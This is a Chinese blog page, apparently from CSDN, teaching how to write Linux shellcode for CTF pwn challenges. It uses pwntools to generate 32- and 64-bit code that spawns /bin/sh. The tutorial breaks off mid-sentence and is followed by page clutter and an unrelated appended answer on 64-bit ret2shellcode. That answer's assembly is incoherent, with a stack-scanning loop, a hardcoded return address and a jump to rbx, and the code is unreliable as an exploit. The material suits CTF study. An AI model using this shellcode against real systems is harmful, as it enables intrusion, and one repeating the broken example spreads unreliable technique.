linux环境下shellcode的编写:32位和64位

shellcode的理解

  我们在做pwn的时候经常需要使用shellcode来获取到flag,那么shellcode如何理解,简单一句话就是:获取到shell的code就是shellcode。
  在漏洞利用过程时,我们将精心编制好的shellcode通过有问题的程序写入到内存中,然后执行。该shellcode对应的c语言代码一般为:

system("/bin/sh");

  也就是说我们将上述的c语言代码翻译成汇编语言,然后进一步翻译成opcode(汇编语言对应的十六进制表示),最后按照正确的大小端顺序存放到内存中。通过一定手段让shellcode执行,然后我们就会得到linux下的交互终端。至于如何注入shellcode,如何让其执行,以及在复杂的题目条件下对shellcode进行拆分、组装以及重新编码(去掉特殊字符)等,此处不讲解,可以参考我其它的博文,重在积累。

使用pwntools工具编写

  对于一般pwn的shellcode题目求解,我们可以直接利用python的库pwntools来自动生成shellcode。按照下面的步骤进行即可:

# 安装pwntools

pip install pwntools
# python3
from pwn import *

# 配置上下文
# context(os="linux", arch="i386")  32位系统
context(os="linux", arch="amd64")   64位系统

# 生成shellcode
code = shellcraft.sh()
print(code)           # 汇编语言
print(asm(code))      # opcode,十六进制形式
print(len(asm(code))) # 查看汇编后的字节长度

自己实现更精炼的

  对于一些读取输入大小有限制的题目,我们需要自己编写更短小的shellcode,下面我将分别介绍32位和64位的shellcode编写原理以及自己实现的更精炼的shellcode代码。这里展示的是汇编代

  • 8
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
64位的ret2shellcode攻击中,需要使用RIP来控制程序的执行流程,而不是使用EIP。因此,需要在shellcode中构造64位的地址来覆盖RIP寄存器。 一般来说,ret2shellcode需要满足以下条件: 1. 执行栈溢出,覆盖返回地址的同时,还要在溢出数据中注入shellcode。 2. 执行栈溢出时需要找到距离返回地址的偏移量。 3. shellcode需要在堆栈中执行。 下面是一份64位ret2shellcode的示例代码: ```assembly section .text global _start _start: ; 执行栈溢出,将shellcode注入到栈中。 ; 使用msfvenom生成一段简单的execve("/bin/sh")代码 ; msfvenom -a x64 --platform linux -p linux/x64/exec CMD=/bin/sh -f c ; 将生成的shellcode粘贴到这里。 xor esi, esi mov eax, esi ; 将堆栈指针rsp保存到rbx中 mov rbx, rsp next: ; 在栈中查找返回地址的偏移量 ; 这里的偏移量为40,实际上需要根据目标二进制文件的不同而调整 cmp byte [rsp], 0 jne next add rsp, 40 ; 用shellcode的地址覆盖返回地址 ; 这里的地址也需要根据目标二进制文件的不同而调整 mov QWORD [rsp], 0x7fffffffde10 ; 跳转到shellcode的地址,开始执行 jmp rbx ``` 在这个示例中,我们将用msfvenom生成一个简单的execve("/bin/sh")的shellcode,该shellcode将在栈上执行。然后,我们将查询堆栈来计算返回地址距离堆栈指针的偏移量,并手动向该返回地址写入shell代码的地址。最后,我们将跳转回堆栈指针的位置,开始执行我们的shellcode。 需要注意的是,在实际攻击中,偏移量和地址值可能因目标程序的不同而有所变化。因此,需要针对目标程序进行适当的调整。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值